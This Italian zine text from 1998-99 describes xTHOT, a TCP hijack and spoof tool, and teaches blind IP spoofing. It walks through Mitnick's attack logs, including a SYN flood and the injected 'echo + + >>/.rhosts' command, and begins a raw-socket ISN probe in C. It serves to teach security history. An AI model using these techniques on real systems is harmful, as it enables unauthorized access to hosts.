]--- NO(C)1998-1999 FuSyS xTHOT sta per Tcp/ip Hacking Ominous Tool versione per X. Per gli amanti degli acronimi ricorsivi, probabilmente puo' anche voler dire Thot's Hacking On Tcp .... ------[ x T H O T F A Q ]------ - Cos'e' xTHOT ? xTHOT non e' altro che la versione X di THOT, velocemente implementata mediante il GimpToolkit o GTK, glib ed amenita' varie. - OK. Ma non ho mai usato THOT ... Stiamo parlando di uno strumento di networking per linux. xTHOT siede placidamente sulla vostra rete, osservando le connessioni TCP in corso. A seconda di un parametro ben preciso, la porta di destinazione nell'accoppiamento TCP, decide se inserire o meno tale connessione nel suo database. A questo punto e' possibile operare su tale connessione. - Quindi xTHOT lavora solo sulle connessioni in corso. E' uno sniffer ? Rispondo prima alla seconda domanda. NON e' uno sniffer nel senso comune del termine. xTHOT NON e' implementato per monitorare il contenuto dei pacchetti allo scopo di compromettere login/password della vostra (o meno) LAN. Certo potrebbe farlo. E' infatti codato in modo da analizzare i vari pacchetti IP che passano per la LAN. E' quindi uno sniffer da questo punto di vista. Comunque xTHOT NON opera solo sulle connessioni inserite nel suo database. In effetti ci sono alcune funzioni abbastanza utili che sono totalmente scevre dal db. - xTHOT deriva e/o prende spunto da altri strumenti simili ? Certamente. E' necessario un appunto. Ogni programma che gestisca il basso livello di rete necessario allo sniff, usa gli stessi metodi. Possono o meno essere occultati dall'uso di librerie apposite, ma arriviamo sempre alle stesse chiamate, prima o poi. Lo stesso dicasi per la generazione dei pacchetti mediante socket raw, necessari per le operazioni di spoof. Alcuni autori che ringrazio anche nel codice sono sicuramente reptile e route. Ma anche loro hanno preso da altri. Nessun problema da parte mia nel dirvelo. Fate lo stesso anche voi :P - Con xTHOT posso quindi fare IP SPOOFING seriamente ? Per quanto riguarda le funzioni implementate la risposta e' si. Ovviamente, a THOT sono necessarie solo funzioni e tecniche di spoofing vedente. Per lo spoofing cieco, che ho deciso di non includere in xTHOT per ovvi motivi di metodo e finalita', rivolgetevi alla seconda parte del mio progetto 0N0S3NDAi, che trovate sul numero 6 della zine BFi. - Come posso contattare l'autore per critiche costruttive, consigli, proposte per il codice, domande molto interessanti et alia ? Potete mandare email al seguente indirizzo: fusys@s0ftpj.org Sul sito www.s0ftpj.org trovate la chiave PGP dell'autore ed eventuali update, aggiunte ed informazioni aggiuntive. ------[ C O M E U S A R E x T H O T ]------ Usare questo codice e' estremamente semplice. Lanciatelo, ovviamente con permessi di root, necessari alle operazioni che deve compiere sui sockets. Specificate all'avvio l'interfaccia sulla quale volete operare. Sono accettate senza problemi sia le interfacce di tipo eth che ppp. Per altri tipi di interfaccia potete lavorarci tranquillamente e mandarmi dei diff. Nel caso vi servisse davvero posso pensarci, ma dovrei anche ricevere il corrispondente hardware su cui eseguire i test... Quindi all'avvio, da un xterm oppure da menu' del vostro wm preferito, date xTHOT -i eth0 (ad esempio) e vedrete apparire la finestra principale. La barra dei menu' e' stata inserita al solo scopo di rendere immediatamente chiaro l'uso a tutti. Per ora, nel menu' Strumenti sono disponibili solo due voci, che consentono rispettivamente di visualizzare e cancellare il database delle connessioni. Nel menu Hacks abbiamo invece tutte le funzioni di manipolazione delle connessioni TCP e della rete. RST Questa permette di terminare connessioni in corso. Basta scegliere tale voce e selezionare sempre col mouse la connessione richiesta tra quelle presenti nel database TCP di xTHOT. RSTd Questa permette di creare un thread parallelo di esecuzione in grado di bloccare ogni tentativo TCP tra due macchine. Ovviamente bisognera' inserire sia l'host di origine che quello di destinazione. Hijack Questa permette di redirezionare il flusso di una connessione TCP come nel caso di telnet e rlogin, spacciandoci per il client legale, e rubando quindi sia la connessione che la possbilita' di inserire comandi interattivamente. A differenza dell'hijacker che avevo presentato su BFi, questo permette di eseguire piu' comandi interattivi. Se le procedure necessarie all'hijack sono eseguite correttamente, appare un prompt entro cui inserire i comandi da eseguire sul server. Si. Funziona davvero. Monitor In questo caso, quello che vogliamo fare e' semplicemente vedere cosa faccia il client nel corso della connessione. Al momento il monitor e' tarato per spiare le risposte del server, utile quindi soprattutto nel caso di telnet e rlogin. Spoofer Con questa opzione e' possibile creare EX NOVO delle connessioni TCP verso qualunque porta del server, spacciandoci per qualunque tipo di macchina sulla rete locale o internet. Sia chiaro, pero'. Non e' implementato un metodo per impedire al reale client di rispondere al posto nostro. Questo esulerebbe dagli scopi di xTHOT. Quindi specificate host disconnessi, inesistenti o che non siano comunque in grado di rispondere prima di noi. TCP Forge Possiamo assemblare ed inviare OGNI tipo di pacchetto TCP. Possiamo specificare gli IP sorgenti e di destinazione, le porte TCP, le flag TCP. In questa versione non e' possibile inserire dati nei nostri pacchetti. Sniffers ? Questa funzione replica il mio PROSCAN. Andiamo alla ricerca di macchine con interfacce promiscue che rispondano a query ARP o ICMP con MAC modificato. Il menu' di aiuto direi che non necessiti a sua volta di aiuto =:) ------[ S R C ]------ Quello e' il vero manuale. ------[ D o w n l o a d ]------ Portate il vostro PC ad HackIt99, oppure uno ZIP o floppy vari e probabilmente tornerete a casa con una copia funzionante. Probabilmente, nel senso che dovrete prima offrirmi un caffe', birra o quel che volete voi :) A parte gli scherzi, nei giorni della convention italiana, un bel .tgz comparira' magicamente nella pagina dei tool su juliet.hackmeeting.org . AMEN. ------[ I n s t a l l a z i o n e ]------ xTHOT e' stato installato con successo su linux RedHAT 5.1 e 5.2, Debian 2.1 e librerie GTk 1.2.x ... inviatemi tranquillamente email se avete problemi di compilazione relativi ai sorgenti. Ogni email per problemi relativi alle librerie verra' forwardata mediante bot su #linux-it dove verra' prontamente ignorata dagli opers :) [versione di rete di /dev/null] FuSyS ------------------------[ PR0GETT0 0N0S3NDAi - PARTE II ]--------------------- -----------------------------------[ FuSyS ]---------------------------------- ---[ G U I D A N E W B I E A L L' I P S P O O F I N G ]--- t r a t t o d a ---[ T C P / I P T O O L S U N L I M I T E D ]--- ---[ P A R T E II ]--- NO(C)1998 FuSyS A scopo informativo e di apprendimento. Ricerca e conoscenza. E, perche' no ?! Dedicato in particolar modo a tutti i vari newbie e lama del cosiddetto sottobosco italiano. Perche' piu' nessuno debba chiedere "Tu sai spoofare ?" D'altronde come al solito, capira' solo chi vuole e puote :) [certo di mio non ci metto nulla per facilitare eccessivamente :P] ############################################################################# DISCLAIMER Tutto il materiale contenuto in questo articolo e' di pubblico dominio. Le spiegazioni, le descrizioni, i consigli, il codice, sono rielaborazioni, creazioni e sunti evinti da RFC, libri, FAQ e letture di molto codice. NULLA E' TOTALMENTE NUOVO O RIVELAZIONE DI QUEL CH'ERA COPERTO DA SEGRETO MILITARE. I vari ingredienti del progetto sono reperibili in rete. ############################################################################# CONSIGLO DELLA SETTIMANA Non chiedete via mail, IRC, talk, irl, (...), se potete chieder[m,c]i una cosa. Chiedetela e basta. Semplicemente pensate a quello che chiedete e come lo domandate. Siete fortunati :) .... essendo questa la seconda parte del progetto non vi dovrete sorbire alcuna introduzione. D'altra parte non ho neanche intenzioni di farvi il riassunto delle puntate precedenti. Leggetevi i primi capitoli di questo interessante HOWTO :) Intanto eccovi i soliti requisiti di base :) PREREQUISITI Conoscenza di base di Internet, TCP/IP, *nix e C Come sarebbe a dire che non ne avete ?! =;) Spero abbiate davvero letto la prima parte. Le strutture IP e TCP devono ormai esservi familiari. Concetti come sniff ed hijack anche, spero. Ho ripetuto in piu' articoli come creare un pacchetto e chiedere al kernel di lanciarlo in rete per conto nostro. Oggi facciamo il salto nel buio :) NOTA: in tutta la seconda parte vi prego di considerare come relativo al problema posto il termine facilita'. Non stiamo parlando di piccolezze, ma di un attacco comunque complesso. ------[ G U A R D A M A ' ... S E N Z A O C C H I ! ]------ Come da molti auspicato, sperato, invocato [ma vaaaaaa ...] ecco la seconda parte di 0N0S3NDAi dedicata allo SP00FiNG nobile; quello cieco. Nonostante anche le tecniche spiegate nella prima parte abbiano in se' quel particolare sapore di alta stregoneria tipico dell'hacking a basso livello dei protocolli di rete, quello cieco e' ancora piu' miracoloso e rispettato, ricercato dai newbie cosi' come dagli amministratori di sistema, che spesso non colgono le effettive possibilita' di questo tipo di attacchi. La peculiarita' di questo tipo di hackeraggio e' effettivamente la totale ed assoluta mancanza di ogni controllo sulla connessione che intendiamo spoofare. Noi non abbiamo alcuna collocazione nelle LAN dei due punti della connessione desiderata e non siamo neanche su alcuno degli hop possibili tra i due IP che ci interessano. Avendo ben chiaro l'handshake di una connessione TCP secondo il 3-way, e' ovvio che: - non saremo in grado di sniffare, conoscere o carpire il SEQ iniziale del server (o ISN) in modo da poter rispondere con un ACK appropriato - non potremo neanche sapere se la porta TCP interessata dalla connessione sia effettivamente aperta - se anche la connessione fosse stabilita, non vedremmo alcuna risposta, dato od alcunche' da parte del peer In fondo questo e' abbastanza semplice da capire. Considerando la nostra macchina come A (attaccante), B il bersaglio da attaccare e S la macchina da spoofare, e considerando l'impossibilita' di essere sul percorso tra B e S, avremo: A (S) ---------------------------> B | S <-----------------------------/ Il nostro bersaglio ricevera' molto volentieri la nostra richiesta di connessione, ma rispondera' inviando i suoi pacchetti verso la macchina che davvero corrisponde all'IP che noi stiamo spoofando. Noi non solo non vedremo i pacchetti, ma neanche la risposta di S. Non potremo agire direttamente in alcun modo su tali pacchetti, come abbiamo invece avuto modo di fare nella prima parte di 0N0S3NDAi. Come vi avevo detto, S rispondera' con un RST ai pacchetti di B, non avendo davvero iniziato lui la connessione. Questo interromperebbe ogni nostra velleita' di attacco. Quindi, prima ancora di iniziare :) abbiamo gia' due pesanti problemi. 1) la nostra cecita' 2) i RST della box spoofata Ovviamente ci sono alcuni escamotage :P altrimenti non ci sarebbe alcun motivo per questo articolo, no ?! D'altra parte e' bene sappiate che per il primo problema NON ci sono soluzioni ottimali, ne' tantomeno infallibli. In alcuni casi direi che ci si avvicina per asintoto alla impossibilita' di portare a termine la connessione spoofata alla cieca. Ad ogni modo cerchiamo di vedere come poter risolvere questi due problemi. ------[ P R E D I Z I O N E T C P S E Q N U M B E R ]------ Avrete letto questa frase chissa' quante volte in chissa' quanti articoli, testi, sorgenti, e via dicendo :) Ebbene, e' proprio questo il succo dello spoof alla cieca. Anzi, esiste addirittura un RFC deputato alla lotta contro questo tipo di attacco tecnico. L' RFC1948 datato Maggio 1996 (!!!) e scritto dal famoso S.Bellovin [se non sapete chi sia, la domanda spontanea e' "ma dove siete vissuti ?", se davvero volete seriamente fare hack] e' intitolato, molto sobriamente :), Difendersi dagli attacchi contro i numeri di sequenza. Sostanzialmente in questo RFC si propone un nuovo meccanismo di generazione dell'ISN o Initial Sequence Number (lo ricordavate dalla prima parte, vero ?! :PPP) per evitare che questo possa essere predetto. Effettivamente il succo dell' iP SP00FiNG cieco e' proprio questo: la predizione del numero di sequenza TCP in modo da poter stabilire lo stesso una connessione senza essere in grado di visualizzare i pacchetti inviatici dal server. Strano a dirsi, nonostante siano passati 3 anni buoni da questo RFC, vi posso garantire che la percentuale di macchine FACILMENTE VULNERABILI ad uno spoofing cieco sono decisamente ancora MOLTE. Evidentemente possiamo anche aspettarci che implementazioni su vasta scala di procedure criptografiche di autenticazione delle connessioni siano ancora molto lontane .... :O Per poter prevedere il ISN dovremo essere in grado di sapere come venga generato questo valore a 32bit dal computer remoto che stiamo per attaccare. Ebbene c'e' un solo modo per saperlo remotamente purtroppo. Ovvero stabilire un contatto con questa macchina. Questo vuol dire che dovremo lasciare una impronta digitale sul bersaglio. Ma questo non deve preoccuparci piu' di tanto, in quanto il tipo di impronta e' impercettibile sulla maggior parte dei sistemi oggi connessi in rete, e sinceramente sulla stragrande totalita' di quelle macchine ancora facilmente vulnerabili allo spoof cieco. Una volta approfondita la nostra consapevolezza sulla generazione remota dell'ISN potremo prevedere le future risposte ed attaccare di conseguenza. ------[ R S T ? N O G R A Z I E ]------ Il secondo problema ci vede giustamente, a seconda del lato da cui si osserva la situazione :P, in balia della box che spoofiamo per quanto riguarda la riuscita dell'attacco. Spesso le soluzioni a problemi che i newbie considerano ostici o stregoneschi :), deriva dalla semplice constatazione del problema da risolvere e da una corretta analisi dello stesso. In questo caso, se S risponde con un RST, allora la semplice azione che dobbiamo realizzare e': S NON DEVE INVIARE RST. PUNTO. No :), non sto scherzando. E' tutto qui. Vediamo un attimo. Come puo' una macchina non inviare RST ? Puo' avere lo stack TCP/IP sputtanato. Improbabile (ma solo xche' non voglio dire impossibile :). Puo' essere scollegata dalla rete, o spenta. In questo caso i pacchetti di B si perderanno nel void e non ci saranno problemi per il nostro attacco, in quanto lo stack di B pensera' prima ad una congestione e insistera' con i suoi pacchetti fino ad un timeout, entro il quale noi avremo risposto con la nostra predizione del SEQ. Puo' non esistere proprio [sottopossibilita' della precedente, in cui usiamo un IP spoofato NON associato ad alcuna macchina, in modo da risultare cmq IRRINTRACCIABILI]. Oppure la macchina deve essere occupata, congestionata e quindi incapacitata a rispondere prima del nostro attacco. Il metodo da manuale, che anche Topolino nei suoi inserti probabilmente riporta, e' la cosiddetta Tempesta di SYN, Syn Flood per gli anglofoni. Non e' ovviamente il solo metodo, ne esistono altri. Importante e' l'obiettivo e non necessariamente il metodo in questo specifico caso. ------[ L' A T T A C C O ]------ Prima di analizzare meglio la questione della predizione del SEQ, dei RST di S, e dell'inoculamento dei nostri dati vediamo in soldoni come viene portato l'attacco tipo. Usero' un attacco realmente avvenuto per poter spiegare cosa sia e come venga portata avanti una azione di SP00FiNG cieco. L'attacco e' quello di Kevin Mitnick del 25 Dicembre 1994 [non so voi, ma io il 25/12 sono a mangiare come un maiale :)] ############################################################################ CONSIDERAZIONE STORIOGRAFICA: questo e' quanto e' successo realmente nella famosa questione Mitnick dell'attacco al sistema di Shimomura. Ogni altra versione e' fallace, e facilmente smontabile. Queste righe sono una riscrittura esplicativa ed informativa basata sui fatti cosi' come riportati dallo stesso T.S. in una mail tecnica. Ora finalmente potete raccontare ai nipotini la storia e ridere alle spalle di chi se ne inventa una versione diversa ogni sera che accede ad IRC :P ############################################################################ All'inizio, non interessante per noi, Mitnick esegue una serie di operazioni di spionaggio :) in modo da poter capire se esista qualche serie di fiducia tra alcuni sistemi di Shimomura. Relazione esistente in questo caso tra server e x-terminal. Dopo aver tratto quanto gli serve, fa partire una marea di richieste di connessioni con flag SYN da un IP spoofato e non assegnato alla porta 513 del server di Shimomura. 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096 ... in questo modo la coda di connessione di server viene riempita, e con l'IP spoofato non assegnato, ogni risposta con ACK di server andra' a finire nel vuoto richiedendo un meccanismo di ritrasmissione e timeout. Dopo, arrivano delle richieste di connessione verso un terminaleX di norma servito da server, da apollo.it.luc.edu. Queste richieste usano dei numeri di sequenza progressivi il che suggerisce che NON siano prodotti dallo stack TCP/IP della macchina quanto da un codice apposito. Evidentemente lo scopo e' quello di apprendere informazioni sulle caratteristiche di generazione del SEQ da parte del terminaleX. Ogni SYN/ACK del terminale viene accolto da un RST per evitare di saturare la coda di connessione anche del bersaglio. 1) apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990:1382726990(0) win 4096 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 4096 apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991:1382726991(0) win 0 2) apollo.it.luc.edu.1001 > x-terminal.shell: S 1382726991:1382726991(0) win 4096 x-terminal.shell > apollo.it.luc.edu.1001: S 2021952000:2021952000(0) ack 1382726992 win 4096 apollo.it.luc.edu.1001 > x-terminal.shell: R 1382726992:1382726992(0) win 0 3) apollo.it.luc.edu.1002 > x-terminal.shell: S 1382726992:1382726992(0) win 4096 x-terminal.shell > apollo.it.luc.edu.1002: S 2022080000:2022080000(0) ack 1382726993 win 4096 apollo.it.luc.edu.1002 > x-terminal.shell: R 1382726993:1382726993(0) win 0 ... come potete vedere le risposte di x-terminal sono sempre aumentate di 128000, valore questo costante nella generazione del ISN. A questo punto avviene una richiesta di connessione da server.shell verso x-terminal. Ovviamente e' spoofata da Mitnick, e quanto x-terminal risponde con un ACK il vero server non puo' rispondere in quanto la coda della porta 513 e' satura, congestionata dalla tempesta di SYN inviata dall'attaccante. Ovviamente l'ACK esatto arriva spoofato da Mitnick che e' in grado di prevedere il valido ISN di x-terminal dopo aver lanciato una ventina di sonde da apollo.it.luc.edu ..... server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096 server.login > x-terminal.shell: . ack 2024384001 win 4096 A questo punto l'attaccante ha una connessione a senso unico verso x-terminal, e puo' quindi inserire i suoi dati. server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096 Questi vengono inseriti in successione, senza prestare attenzione alle risposte di x-terminal, il bersaglio, in quanto non ci interessano. Non abbiamo bisogno ne' dell'output dei nostri comandi ne' di altre informazioni della shell remota. L'importante e' che i nostri dati vengano passati all'applicazione remota. Quelli inseriti da Mitnick furono i famosissimi "echo + + >>/.rhosts". Dopodiche' viene chiusa la connessione. server.login > x-terminal.shell: . ack 2 win 4096 server.login > x-terminal.shell: . ack 3 win 4096 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096 PUNTO. Questo e' quanto e' successo :) Dal mio punto di vista non credo proprio che Mitnick sia stato il primo a portare questo genere di attacco. e probabilmente il software necessario non era neanche suo. Ha avuto la sfortunata occasione di farsi bello con un esperto di sicurezza, cosa che mi lascia perplesso sulle sue reali priorita' ..... ma ad ogni modo questa e' un'altra storia. [e cmq non condivido cio' che gli e' stato inflitto dal governo americano] ------[ N U M E R I D I S E Q U E N Z A ]------ OK :) prima o poi bisogna arrivarci. Il succo dell'attacco e' la predizione del numero di sequenza. Una parentesi: non mi stanchero' mai di far capire alla gente che nell'hijack di una connessione, la predizione, facile o difficile che sia, dei numeri di sequenza NON C'ENTRA UNA MAZZA. Quello e' campo dello SP00FiNG vedente e NON e' un problema ma una semplice banalita' sapendo cosa fare e come farlo. D'altra parte un hijack mediante SP00FiNG cieco NON E' POSSIBILE in linea di massima. Infatti in quel caso noi abbiamo bisogno di sapere come procedano entrambi i lati della connessione in materia di SEQ e ACK. Ma se non abbiamo modo di vedere la connessione non possiamo neanche sapere se uno dei due peer stia inviando dati, ne' quali o quanti. Un hijack alla cieca sarebbe possibile solo indovinando gli ISN di entrambe le macchine, indovinando i dati trasmessi (nel caso di login remoti anche gli errori di battitura :O) e la temporizzazione della connessione. Fate un po' voi :) Lo SP00FiNG cieco puo' intervenire in una connessione in corso solo per distruggerla mediante RST nel caso di stack TCP/IP FALLATI che non controllino i numeri di sequenza nel caso di flag RST con IP e porte corrette. Uno stack di questo tipo dovrebbe essere quello di Digital Unix 4.0b ed inferiori, ma non ho una macchina per eseguire questo tipo di test. Come al solito donazioni di Alpha con DUNIX sono ben accette :P Il corretto ISN e' la mecca del nostro attacco. E se in guerra dobbiamo conoscere il nostro nemico, allora in questo caso dobbiamo sapere dove ISN nasca. Se non vi spaventano la matematica ed il C stretto, potete gettare un occhio nel sorgente /usr/src/linux/drivers/char/random.c [linux2.2.x] per rendervi conto come linux sia estremamente resistente alla predizione del ISN. Direi che linux da questo punto di vista sia immune a simili attacchi. 64K -> OLDIES BUT GOLDIES D'altra parte nello stack derivante da BSD le cose non vanno cosi'. Secondo l'RFC793 il valore di ISN dovrebbe: - essere subordinato ad un clock, la cui frequenza ne influenzerebbe l'incremento - l'incremento dovrebbe essere di 125000 ogni mezzo secondo In realta' moltissimi sistemi, anche oggi, rientrano nella cosiddetta regola aurea dei 64k. Secondo questa regola il valore viene incrementato di 64000 ogni mezzo secondo, poco piu' della meta' di quanto specificato dall'RFC793, quindi 128000 ogni secondo. Nel caso di nuove connessioni questo valore viene ulteriormente incrementato di 64000 la maggior parte delle volte [alcuni stack lo aumentano di 128000 od altri valori costanti] permettendo quindi di osservare un pattern abbastanza uniforme e regolare dei SEQ. Ora come sara' ben chiaro a tutti, x-terminal attaccato da Mitnick faceva uso della regola dei 64k per il suo ISN ed ha quindi permesso all'attacco di andare in porto senza particolari difficolta' al di fuori del blocco della coda di server. Questo tipo di generazione ISN avviene ancora nella quasi totalita' delle macchine OSF/1, Digital Unix, SunOS (non Solaris), OS/2. Dal momento che non sono poche le macchine presenti in Internet a soddisfare questa regola, si puo' dire che lo SP00FiNG relativamente semplice sia ancora possibile. TICK-TACK SEQ Un altro sistema di generazione tiene invece conto sempre di un clock, ma utilizzando le piu' svariate costanti di incremento. Con questo metodo, dopo l'inizializzazione pseudo random al boot della macchina, il SEQ viene incrementato ogni tot unita' di tempo. Nelle vecchie versioni del kernel di linux questo avveniva ogni microsecondo, con incrementi di una unita'. Fa parte di questo tipo di generazione lo stack di Windows NT, tra gli altri. Questo sistema non e' affatto sicuro. In effetti e' abbastanza semplice correlare il possibile ISN a precedenti connessioni ed al clock di sistema valutando il tempo intercorrente tra la nostra box ed il nostro bersaglio. Ovvero il tempo tra l'invio del pacchetto e la ricezione di una risposta alla nostra sonda. RANDOM ISN L'unico sistema veramente sicuro (almeno fino ad ora) e' quella della generazione casuale del SEQ per ogni nuova connessione. Questo permette di non poter correlare un ISN all'altro mediante l'uso di un numero maggiore di sonde. Questo rende quasi impossibile lo SP00FiNG cieco contro questi sistemi. In questa categoria abbiamo linux :) [anche se con una eccezione di cui parlero' dopo e che ha dato nuovo significato al concetto di falsa sicurezza]. NB: esistono varianti che usano sempre lo STESSO ISN. Non ne ho trovate in giro, ma probabilmente ne esistono ancora. Giusto a titolo storiografico, mandatemi email per segnalarmele, grazie :) Se invece trovate stampanti, quickcam o router che lo facciano, beh lo sapevo :) [ad ogni modo info su router con ISN==0 sono sempre molto ben accette :)] VEDO, PREVEDO, STRAVEDO :P Come capire di quale sistema di generazione faccia uso un sistema remoto ? Essenzialmente, come nell'analisi dell'attacco a Shimomura, si tratta solo di studiare le risposte del server alle nostre sonde. In questo caso una sonda non e' altro che un pacchetto TCP con flag SYN con il nostro reale IP (altrimenti non siamo in grado di ricevere le risposte). Piuttosto che riscoprire l'acqua calda, e commentare un mio codice (cosa che invece faremo per una tecnica di spoof concreta), analizzero' le funzioni implementate da fyodor in nmap v2 per lo studio dei vari ISN. Precisamente guardiamo in osscan.c [nmap 2.02] tra le funzioni di riconoscimento remoto degli OS mediante impronte TCP/IP; non e' mio interesse ne' compito in questo testo spiegarvi come funzioni il riconoscimento remoto. Potrete tranquillamente leggervi il sorgente prima o poi :). L'importante e' vedere intorno [ripeto, la mia e' la 2.02] alla riga 266@1208 la funzione di controllo dei vari SEQ ricevuti come risposta dal sistema remoto. Classe RANDOM - difficolta' 9999999 : for(i=0; i < si->responses - 1; i++) { if (MOD_DIFF(si->seqs[i+1],si->seqs[i]) > 50000000) { si->class = SEQ_TR; si->index = 9999999; break; } in questo caso fyodor decide di valutare la differenza passante tra le varie coppie sequenzialmente possibili di ISN ricevuti. Se questa e' maggiore di 50000000 allora il generatore remoto fa parte della classe TR, Truly Random o realmente casuale. Poco da fare in questo caso. MOD_DIFF serve a calcolare le differenze tenendo conto del fatto che il primo numero possa non necessariamente essere maggiore del secondo. Classe COSTANTE - difficolta' 0 :))) : if (seq_gcd == 0) { si->class = SEQ_CONSTANT; si->index = 0; } seq_gcd viene calcolato in base alle differenze tra ISN ottenuti da tot pacchetti di risposta. La funzione necessaria per ottenere gcd e calcolarne valore a seconda dei SEQ e' get_gcd_n_ulong() che a sua volta chiama euclid_gcd() per descriverne le deviazioni. Quello che stiamo cercando e' il massimo comun divisore delle differenze tra le coppie di numeri di sequenza che abbiamo ottenuto con la scansione. Una volta ottenuto questo siamo in grado di valutare l'andamento del SEQ remoto. In questo caso ogni volta abbiamo un ISN uguale. Lo SP00FiNG sara' come bere un bicchiere di RedBull :) facile e piacevole :P Classe 64k - difficolta' 1 :) : else if (seq_gcd % 64000 == 0) { si->class = SEQ_64K; si->index = 1; } se il modulo 64000 di questi SEQ e' uguale a 0 siamo in presenza della legge aurea dei 64k. Incrementi di 64000 o suoi multipli ogni tick di clock e nuova connessione. Classe i800 - difficolta' 10 : else if (seq_gcd % 800 == 0) { si->class = SEQ_i800; si->index = 10; } in questo caso ci interessa il modulo 800. Questo tipo di generazione, altrettanto semplice e' pero' meno comune. Classe TIME DEPENDENT - difficolta' < 75 : else if (si->class == SEQ_UNKNOWN) { seq_avg_inc = (0.5) + seq_avg_inc / (si->responses - 1); for(i=0; i < si->responses -1; i++) { seq_inc_sum += pow(MOD_DIFF(seq_diffs[i],seq_avg_inc), 2); } se non abbiamo trovato alcuna delle corrispondenze gia' esposte allora calcoliamo l'incremento medio dei vari ISN ottenuti, otteniamo il minore delle differenze tra questo incremento medio e la differenza in esame e lo eleviamo al quadrato. Questo sistema presentato anche da coder@reptile serve per ottenere migliori valori su cui discriminare. seq_inc_sum /= (si->responses - 1); si->index = (unsigned long) (0.5 + pow(seq_inc_sum, 0.5)); if (si->index < 75) { si->class = SEQ_TD; } a questo punto se l'indice che otteniamo dal rapporto tra l'incremento medio e le risposte ottenute e' inferiore a 75 allora possiamo classificare la generazione come relazionata ad un clock. Le box Microsoft NT sono in questa categoria. Le altre invece saranno nella classe ad incremento casuale con difficolta' medie tra 76 e 9999999. Visto che comunque non siete mai contenti ne' purtroppo, almeno per la maggior parte di voi, decisi a far tutto da voi, ecco un semplice codice per la scansione dei numeri di sequenza di un host remoto. Li mostra, ne calcola le differenze tra coppie consecutive e discrimina in base alle regole consuete. Il controllo delle regole e' solo leggermente modificato dalle funzioni di nmap. Questo perche' non ho molto tempo a disposizione e comunque quelle regole sono valide :) Badate bene. Sarebbe possibile farlo ad occhio visto il display di questo codice, ma cosi' e' molto piu' semplice. ---------- snip ---------- /************************************************************************ * SEQprobe.c Semplice sonda per evidenziare la generazione * * dell' Initial Sequence Number [ISN], necessario * * passo per iniziare un attacco di IP Spoofing * * cieco mediante previsione del SEQ successivo. * * * * NO(C)1998 FuSyS TCP/IP Tools Unlimited * * fusys@s0ftpj.org * ************************************************************************/ /************************************************************************ * USO: Beh, se proprio non vi va di leggere il codice * * almeno leggetevi l'articolo Progetto 0N0S3NDAi * * parte II presente sul numero 6 della ezine BFi. * * Butchered From inside e' prelevabile dall'URL: * * http://www.s0ftpj.org/bfi/ * ************************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef MIN #define MIN(x,y) (((x)<(y))?(x):(y)) #endif #ifndef DIFF #define DIFF(a,b) (u_long)(MIN((u_long)(a)-(u_long)(b),(u_long)(b)-(u_long)(a))) #endif #define MAXPROBES 10 #define MTU 1500 #define IP_HEADER 20 #define TCP_HEADER 20 #define PSEUDO_HEADER 12 #define INITSOURCE 10000 #define INITSEQ 24375400 int sp_fd, IF_LEN, iflink; char *IF_NAME; unsigned long localip, remoteip; unsigned long seqs[MAXPROBES]; unsigned long seqs_diff[MAXPROBES]; unsigned long seqs_gcd; unsigned long seqs_incr; unsigned long seqs_sum; unsigned short port; struct syn_pk { struct iphdr ip; struct tcphdr tcp; }; struct pseudo_pk { unsigned long saddr; unsigned long daddr; unsigned char zero; unsigned char proto; unsigned short len; }; u_long nameResolve(char *hostname) { struct in_addr addr; struct hostent *hostEnt; if((addr.s_addr=inet_addr(hostname)) == -1) { if(!(hostEnt=gethostbyname(hostname))) { printf("Name Resolution Error:`%s`\n",hostname); exit(0); } bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length); } return addr.s_addr; } char *ntoa(unsigned long ip) { static char buff[18]; char *p; p = (char *) &ip; sprintf(buff, "%d.%d.%d.%d", (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)); return(buff); } /* la solita routine di checksum */ u_short in_cksum(u_short *ptr, int nbytes) { register long sum; u_short oddbyte; register u_short answer; sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char *) &oddbyte) = *(u_char *)ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return((u_short) answer); } void raw(void) { int opt=1; if((sp_fd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <0){ perror("\nRAW() Problemi inizializzazione socket raw\n"); exit(0); } if(setsockopt(sp_fd, IPPROTO_IP, IP_HDRINCL, &opt, sizeof(opt)) <0){ perror("RAW() Problemi inizializzazione HDRINCL\n"); exit(0); } } int tap(char* device,int mode) { int fd; struct ifreq ifr; if((fd=socket(AF_INET, SOCK_PACKET, htons(0x3))) <0){ perror("TAP() Problemi inizializzazione SOCK_PACKET\n"); exit(0); } strcpy(ifr.ifr_name,device); if (ioctl (fd, SIOCGIFADDR, &ifr) < 0) { perror("TAP() Impossibile ottenere l'IP locale !\n"); exit(1); } memcpy ((void *) &localip, (void *) &ifr.ifr_addr.sa_data + 2, 4); if(!mode){ close(fd); return(0); } else return(fd); } void fire_syn(unsigned short source, unsigned long seq) { struct sockaddr_in sin; int shoot; struct syn_pk syn; struct pseudo_pk *ppk_p; char checkbuff[MTU]; memset(&syn, 0, sizeof(syn)); memset(checkbuff, 0, MTU); ppk_p=(struct pseudo_pk *)checkbuff; syn.tcp.source=source; syn.tcp.dest=port; syn.tcp.seq=seq; syn.tcp.doff=5; syn.tcp.syn=1; syn.tcp.window=htons(0x7000); ppk_p->saddr=localip; ppk_p->daddr=remoteip; ppk_p->zero=0; 